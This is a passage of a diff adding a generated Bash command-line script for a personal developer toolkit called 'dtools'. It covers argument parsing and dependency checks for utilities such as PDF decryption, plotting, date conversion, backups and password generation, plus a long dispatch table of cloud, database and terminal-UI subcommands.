+dtools_document_decrypt_pdf_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_document_decrypt_pdf_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v qpdf >/dev/null 2>&1; then + printf "missing dependency: qpdf\n" >&2 + printf "%s\n\n" "Install with 'brew install qpdf'" >&2 + missing_deps=1 + else + deps['qpdf']="$(command -v qpdf | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="document decrypt-pdf" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --output-file) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output-file']="$2" + shift + shift + else + printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['input-file']+x} ]]; then + args['input-file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['input-file']+x} ]]; then + printf "missing required argument: INPUT-FILE\nusage: dtools document decrypt-pdf INPUT-FILE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.required_flags_filter + if [[ -z ${args['--output-file']+x} ]]; then + printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_git_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_git_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + search-history) + action="search-history" + shift + dtools_git_search_history_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_git_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_git_search_history_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_git_search_history_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="git search-history" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['search-string']+x} ]]; then + args['search-string']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['search-string']+x} ]]; then + printf "missing required argument: SEARCH-STRING\nusage: dtools git search-history SEARCH-STRING\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_plot_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_plot_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gnuplot >/dev/null 2>&1; then + printf "missing dependency: gnuplot\n" >&2 + printf "%s\n\n" "See 'http://gnuplot.info/'" >&2 + missing_deps=1 + else + deps['gnuplot']="$(command -v gnuplot | head -n1)" + fi + + # :dependency.filter + if ! command -v loki >/dev/null 2>&1; then + printf "missing dependency: loki\n" >&2 + printf "%s\n\n" "See 'https://github.com/Dark-Alex-17/loki'" >&2 + missing_deps=1 + else + deps['loki']="$(command -v loki | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="plot" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --file | -f) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--file']="$2" + shift + shift + else + printf "%s\n" "--file requires an argument: --file, -f FILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --type | -t) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--type']="$2" + shift + shift + else + printf "%s\n" "--type requires an argument: --type, -t TYPE" >&2 + exit 1 + fi + ;; + + # :flag.case + --stack-vertically) + + # :flag.case_no_arg + args['--stack-vertically']=1 + shift + ;; + + # :flag.case + --multiplot) + + # :flag.case_no_arg + args['--multiplot']=1 + shift + ;; + + # :flag.case + --gui) + + # :flag.case_no_arg + args['--gui']=1 + shift + ;; + + # :flag.case + --loki) + # :flag.conflicts + for conflict in --file --type --stack-vertically --multiplot --gui; do + if [[ -n "${args[$conflict]:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 + exit 1 + fi + done + + # :flag.case_no_arg + args['--loki']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--file']:-} ]] || args['--file']="-" + [[ -n ${args['--type']:-} ]] || args['--type']="line" + + # :command.whitelist_filter + if [[ ${args['--type']:-} ]] && [[ ! ${args['--type']:-} =~ ^(line|bar)$ ]]; then + printf "%s\n" "--type must be one of: line, bar" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_multiplot_requirements) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + + filter_error=$(filter_stack_vertically_multiplot_only) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_real_time_plot_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_real_time_plot_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gnuplot >/dev/null 2>&1; then + printf "missing dependency: gnuplot\n" >&2 + printf "%s\n\n" "See 'http://gnuplot.info/'" >&2 + missing_deps=1 + else + deps['gnuplot']="$(command -v gnuplot | head -n1)" + fi + + # :dependency.filter + if ! command -v wget >/dev/null 2>&1; then + printf "missing dependency: wget\n" >&2 + printf "%s\n\n" "Install with 'brew install wget' or 'sudo apt install wget'" >&2 + missing_deps=1 + else + deps['wget']="$(command -v wget | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="real-time-plot" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_date_to_epoch_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_date_to_epoch_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="date-to-epoch" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['timestamp']+x} ]]; then + args['timestamp']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['timestamp']+x} ]]; then + printf "missing required argument: TIMESTAMP\nusage: dtools date-to-epoch TIMESTAMP\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_epoch_to_date_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_epoch_to_date_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="epoch-to-date" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['epoch']+x} ]]; then + args['epoch']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['epoch']+x} ]]; then + printf "missing required argument: EPOCH\nusage: dtools epoch-to-date EPOCH\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_date_to_iso_8601_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_date_to_iso_8601_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="date-to-iso-8601" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['date']+x} ]]; then + args['date']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['date']+x} ]]; then + printf "missing required argument: DATE\nusage: dtools date-to-iso-8601 DATE\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_view_markdown_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_view_markdown_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v grip >/dev/null 2>&1; then + printf "missing dependency: grip\n" >&2 + printf "%s\n\n" "Install with 'python3 -m pip install grip'" >&2 + missing_deps=1 + else + deps['grip']="$(command -v grip | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="view-markdown" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['file']+x} ]]; then + args['file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['file']+x} ]]; then + printf "missing required argument: FILE\nusage: dtools view-markdown FILE\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_start_simple_server_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_start_simple_server_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v nc >/dev/null 2>&1; then + printf "missing dependency: nc\n" >&2 + printf "%s\n\n" "Install with 'brew install netcat' or 'sudo apt install netcat'" >&2 + missing_deps=1 + else + deps['nc']="$(command -v nc | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="start-simple-server" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--port']="$2" + shift + shift + else + printf "%s\n" "--port requires an argument: --port PORT" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--port']:-} ]] || args['--port']="8000" + + # :command.validations + # :flag.validations + if [[ -v args['--port'] ]]; then + validation_output="$(validate_port_number "${args['--port']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--port PORT" "$validation_output" >&2 + exit 1 + fi + fi + +} + +# :command.parse_requirements +dtools_fzf_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_fzf_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v fzf >/dev/null 2>&1; then + printf "missing dependency: fzf\n" >&2 + printf "%s\n\n" "Install with 'brew install fzf'" >&2 + missing_deps=1 + else + deps['fzf']="$(command -v fzf | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="fzf" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --pre-processing) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--pre-processing']="$2" + shift + shift + else + printf "%s\n" "--pre-processing requires an argument: --pre-processing PRE-PROCESSING" >&2 + exit 1 + fi + ;; + + # :flag.case + --additional-xargs-arguments) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--additional-xargs-arguments']="$2" + shift + shift + else + printf "%s\n" "--additional-xargs-arguments requires an argument: --additional-xargs-arguments ADDITIONAL-XARGS-ARGUMENTS" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['command']+x} ]]; then + args['command']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['command']:-} ]] || args['command']="vi" + +} + +# :command.parse_requirements +dtools_backup_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_backup_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="backup" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --move) + + # :flag.case_no_arg + args['--move']=1 + shift + ;; + + # :flag.case + --backup-dest) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--backup-dest']="$2" + shift + shift + else + printf "%s\n" "--backup-dest requires an argument: --backup-dest BACKUP-DEST" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['item']+x} ]]; then + args['item']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['item']+x} ]]; then + printf "missing required argument: ITEM\nusage: dtools backup ITEM [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.validations + # :flag.validations + if [[ -v args['--backup-dest'] ]]; then + validation_output="$(validate_directory_exists "${args['--backup-dest']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--backup-dest BACKUP-DEST" "$validation_output" >&2 + exit 1 + fi + fi + +} + +# :command.parse_requirements +dtools_generate_password_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_generate_password_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v openssl >/dev/null 2>&1; then + printf "missing dependency: openssl\n" >&2 + printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 + missing_deps=1 + else + deps['openssl']="$(command -v openssl | head -n1)" + fi + + # :dependency.filter + if ! command -v xclip >/dev/null 2>&1; then + printf "missing dependency: xclip\n" >&2 + printf "%s\n\n" "Install with 'brew install xclip'" >&2 + missing_deps=1 + else + deps['xclip']="$(command -v xclip | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="generate-password" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --copy-to-clipboard | -c) + + # :flag.case_no_arg + args['--copy-to-clipboard']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_play_mp3_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_play_mp3_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v mpg321 >/dev/null 2>&1; then + printf "missing dependency: mpg321\n" >&2 + printf "%s\n\n" "Install with 'brew install mpg321'" >&2 + missing_deps=1 + else + deps['mpg321']="$(command -v mpg321 | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="play-mp3" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['sound']+x} ]]; then + args['sound']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['sound']+x} ]]; then + printf "missing required argument: SOUND\nusage: dtools play-mp3 SOUND\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_random_int_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_random_int_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="random-int" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --min) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--min']="$2" + shift + shift + else + printf "%s\n" "--min requires an argument: --min MIN" >&2 + exit 1 + fi + ;; + + # :flag.case + --max) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--max']="$2" + shift + shift + else + printf "%s\n" "--max requires an argument: --max MAX" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--min']:-} ]] || args['--min']="0" + [[ -n ${args['--max']:-} ]] || args['--max']="10" + +} + +# :command.parse_requirements +dtools_random_float_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_random_float_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="random-float" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --min) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--min']="$2" + shift + shift + else + printf "%s\n" "--min requires an argument: --min MIN" >&2 + exit 1 + fi + ;; + + # :flag.case + --max) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--max']="$2" + shift + shift + else + printf "%s\n" "--max requires an argument: --max MAX" >&2 + exit 1 + fi + ;; + + # :flag.case + --precision) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--precision']="$2" + shift + shift + else + printf "%s\n" "--precision requires an argument: --precision PRECISION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--min']:-} ]] || args['--min']="0" + [[ -n ${args['--max']:-} ]] || args['--max']="10" + [[ -n ${args['--precision']:-} ]] || args['--precision']="5" + + # :command.validations + # :flag.validations + if [[ -v args['--precision'] ]]; then + validation_output="$(validate_integer "${args['--precision']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--precision PRECISION" "$validation_output" >&2 + exit 1 + fi + fi + +} + +# :command.parse_requirements +dtools_record_shell_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_record_shell_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v asciinema >/dev/null 2>&1; then + printf "missing dependency: asciinema\n" >&2 + printf "%s\n\n" "Install with 'brew install asciinema'" >&2 + missing_deps=1 + else + deps['asciinema']="$(command -v asciinema | head -n1)" + fi + + # :dependency.filter + if ! command -v agg >/dev/null 2>&1; then + printf "missing dependency: agg\n" >&2 + printf "%s\n\n" "Install with 'cargo install agg'" >&2 + missing_deps=1 + else + deps['agg']="$(command -v agg | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="record-shell" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --speed) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--speed']="$2" + shift + shift + else + printf "%s\n" "--speed requires an argument: --speed SPEED" >&2 + exit 1 + fi + ;; + + # :flag.case + --no-conversion) + + # :flag.case_no_arg + args['--no-conversion']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['output_file']+x} ]]; then + args['output_file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['output_file']+x} ]]; then + printf "missing required argument: OUTPUT_FILE\nusage: dtools record-shell OUTPUT_FILE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--speed']:-} ]] || args['--speed']="1" + +} + +# :command.initialize +initialize() { + declare -g version="1.0.0" + set -e + +} + +# :command.run +run() { + # :command.globals + declare -g long_usage='' + declare -g -A args=() + declare -g -A deps=() + declare -g -a env_var_names=() + declare -g -a input=() + declare -g -A unique_lookup=() + + normalize_input "$@" + parse_requirements "${input[@]}" + + case "$action" in + "completions") dtools_completions_command ;; + "update") dtools_update_command ;; + "ai") dtools_ai_command ;; + "ai chat") dtools_ai_chat_command ;; + "ai start-llama-server") dtools_ai_start_llama_server_command ;; + "ai open-llama-ui") dtools_ai_open_llama_ui_command ;; + "ai open-llama-api-docs") dtools_ai_open_llama_api_docs_command ;; + "aws") dtools_aws_command ;; + "aws login") dtools_aws_login_command ;; + "aws console") dtools_aws_console_command ;; + "aws shell") dtools_aws_shell_command ;; + "aws profile") dtools_aws_profile_command ;; + "aws region") dtools_aws_region_command ;; + "aws toggle-auto-prompt") dtools_aws_toggle_auto_prompt_command ;; + "aws export-sso-creds") dtools_aws_export_sso_creds_command ;; + "aws generate-sso-profiles") dtools_aws_generate_sso_profiles_command ;; + "aws ec2") dtools_aws_ec2_command ;; + "aws ec2 list-instances") dtools_aws_ec2_list_instances_command ;; + "aws ssm") dtools_aws_ssm_command ;; + "aws ssm start-port-forwarding") dtools_aws_ssm_start_port_forwarding_command ;; + "aws ssm start-ngrok-bastion-instance") dtools_aws_ssm_start_ngrok_bastion_instance_command ;; + "aws ssm list-parameters") dtools_aws_ssm_list_parameters_command ;; + "aws ssm get-parameter") dtools_aws_ssm_get_parameter_command ;; + "aws ssm create-parameter") dtools_aws_ssm_create_parameter_command ;; + "aws ssm update-parameter") dtools_aws_ssm_update_parameter_command ;; + "aws ssm delete-parameter") dtools_aws_ssm_delete_parameter_command ;; + "aws secretsmanager") dtools_aws_secretsmanager_command ;; + "aws secretsmanager list-secrets") dtools_aws_secretsmanager_list_secrets_command ;; + "aws secretsmanager show-secret") dtools_aws_secretsmanager_show_secret_command ;; + "aws secretsmanager create-secret") dtools_aws_secretsmanager_create_secret_command ;; + "aws logs") dtools_aws_logs_command ;; + "aws logs list-log-groups") dtools_aws_logs_list_log_groups_command ;; + "aws logs tail-log-group") dtools_aws_logs_tail_log_group_command ;; + "aws logs query-log-groups") dtools_aws_logs_query_log_groups_command ;; + "aws rds") dtools_aws_rds_command ;; + "aws rds list-db-instances") dtools_aws_rds_list_db_instances_command ;; + "aws rds fetch-db-connection-details") dtools_aws_rds_fetch_db_connection_details_command ;; + "gcp") dtools_gcp_command ;; + "gcp login") dtools_gcp_login_command ;; + "gcp project") dtools_gcp_project_command ;; + "gcp location") dtools_gcp_location_command ;; + "gcp get-project-number") dtools_gcp_get_project_number_command ;; + "gcp vertex") dtools_gcp_vertex_command ;; + "gcp vertex deploy-model") dtools_gcp_vertex_deploy_model_command ;; + "gcp vertex predict") dtools_gcp_vertex_predict_command ;; + "gcp vertex list-endpoints") dtools_gcp_vertex_list_endpoints_command ;; + "gcp vertex tail-endpoint-logs") dtools_gcp_vertex_tail_endpoint_logs_command ;; + "gcp artifacts") dtools_gcp_artifacts_command ;; + "gcp artifacts list-repositories") dtools_gcp_artifacts_list_repositories_command ;; + "gcp artifacts list-images") dtools_gcp_artifacts_list_images_command ;; + "db") dtools_db_command ;; + "db postgres") dtools_db_postgres_command ;; + "db mysql") dtools_db_mysql_command ;; + "db bigquery") dtools_db_bigquery_command ;; + "elastic") dtools_elastic_command ;; + "elastic init") dtools_elastic_init_command ;; + "elastic start") dtools_elastic_start_command ;; + "elastic stop") dtools_elastic_stop_command ;; + "java") dtools_java_command ;; + "java set-version") dtools_java_set_version_command ;; + "java analyze-with-sonar") dtools_java_analyze_with_sonar_command ;; + "ansible") dtools_ansible_command ;; + "ansible encrypt-string") dtools_ansible_encrypt_string_command ;; + "ansible decrypt-variable") dtools_ansible_decrypt_variable_command ;; + "install") dtools_install_command ;; + "install docker") dtools_install_docker_command ;; + "install ansible") dtools_install_ansible_command ;; + "install java") dtools_install_java_command ;; + "clean") dtools_clean_command ;; + "clean bleachbit") dtools_clean_bleachbit_command ;; + "clean docker") dtools_clean_docker_command ;; + "clean package-caches") dtools_clean_package_caches_command ;; + "clean logs") dtools_clean_logs_command ;; + "clean build-caches") dtools_clean_build_caches_command ;; + "tui") dtools_tui_command ;; + "tui monitoring") dtools_tui_monitoring_command ;; + "tui monitoring system-monitor") dtools_tui_monitoring_system_monitor_command ;; + "tui monitoring pihole-monitor") dtools_tui_monitoring_pihole_monitor_command ;; + "tui monitoring kernel-monitor") dtools_tui_monitoring_kernel_monitor_command ;; + "tui network-monitoring") dtools_tui_network_monitoring_command ;; + "tui network-monitoring wavemon") dtools_tui_network_monitoring_wavemon_command ;; + "tui network-monitoring network-diags") dtools_tui_network_monitoring_network_diags_command ;; + "tui network-monitoring ip-traffic") dtools_tui_network_monitoring_ip_traffic_command ;; + "tui network-monitoring socket-stats") dtools_tui_network_monitoring_socket_stats_command ;; + "tui network-monitoring netscanner") dtools_tui_network_monitoring_netscanner_command ;; + "tui network") dtools_tui_network_command ;; + "tui network network-manager") dtools_tui_network_network_manager_command ;; + "tui network bluetooth-manager") dtools_tui_network_bluetooth_manager_command ;; + "tui network wireguard-config") dtools_tui_network_wireguard_config_command ;; + "tui network mitm-proxy") dtools_tui_network_mitm_proxy_command ;; + "tui network proxy") dtools_tui_network_proxy_command ;; + "tui network proxymock") dtools_tui_network_proxymock_command ;; + "tui network http-load-generator") dtools_tui_network_http_load_generator_command ;; + "tui network ping") dtools_tui_network_ping_command ;; + "tui network full-browser") dtools_tui_network_full_browser_command ;; + "tui network elinks") dtools_tui_network_elinks_command ;; + "tui network w3m") dtools_tui_network_w3m_command ;; + "tui network lynx") dtools_tui_network_lynx_command ;; + "tui network carbonyl") dtools_tui_network_carbonyl_command ;; + "tui network http-request-client") dtools_tui_network_http_request_client_command ;; + "tui network http-request-client-2") dtools_tui_network_http_request_client_2_command ;; + "tui network api-client") dtools_tui_network_api_client_command ;; + "tui docker") dtools_tui_docker_command ;; + "tui docker docker") dtools_tui_docker_docker_command ;; + "tui docker docker-layer-analyzer") dtools_tui_docker_docker_layer_analyzer_command ;; + "tui docker kubernetes") dtools_tui_docker_kubernetes_command ;; + "tui development") dtools_tui_development_command ;; + "tui development git") dtools_tui_development_git_command ;; + "tui development jira") dtools_tui_development_jira_command ;; + "tui development readme") dtools_tui_development_readme_command ;; + "tui development tail-logs") dtools_tui_development_tail_logs_command ;; + "tui development drft") dtools_tui_development_drft_command ;; + "tui development wrkflw") dtools_tui_development_wrkflw_command ;; + "tui development gama") dtools_tui_development_gama_command ;; + "tui development ecs") 